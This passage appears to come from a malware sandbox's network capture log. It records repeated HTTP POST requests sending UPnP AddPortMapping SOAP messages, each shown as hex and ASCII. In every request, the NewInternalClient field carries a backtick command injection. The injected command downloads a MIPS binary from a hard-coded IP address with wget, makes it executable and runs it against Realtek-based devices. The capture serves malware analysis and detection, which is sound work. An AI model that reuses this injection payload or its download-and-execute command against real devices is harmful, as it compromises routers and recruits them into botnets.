69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:45.307226896 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:48.123162031 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:53.754903078 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:04.762720108 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:28.314093113 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:13.368684053 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      17192.168.2.155531845.41.80.25352869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:43.069221020 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
